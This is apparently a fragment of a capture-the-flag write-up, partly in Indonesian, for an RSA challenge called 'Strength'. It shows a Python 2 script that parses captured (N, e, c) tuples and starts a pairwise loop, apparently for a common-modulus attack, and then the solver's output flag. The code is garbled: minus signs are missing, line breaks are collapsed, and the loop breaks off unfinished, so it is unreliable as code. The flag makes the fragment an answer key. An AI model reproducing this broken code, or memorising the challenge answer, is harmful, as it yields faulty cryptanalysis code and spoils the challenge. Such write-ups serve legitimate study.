crypt_tups = []
lines = open("captured", "rb").read().split("\n")
lines = lines[1:len(lines)1] # get rid of first and last line for line in lines:
tups = line[1:len(line)1].split(":") N, e, c = [long(x.strip(),16) for x in tups] crypt_tups.append((N, e, c))
for i in xrange(len(crypt_tups)): for j in xrange(len(crypt_tups)): if(i == j):
Maka akan didapatkan
$ python strength_crack.py
flag_Strength_Lies_In_Differences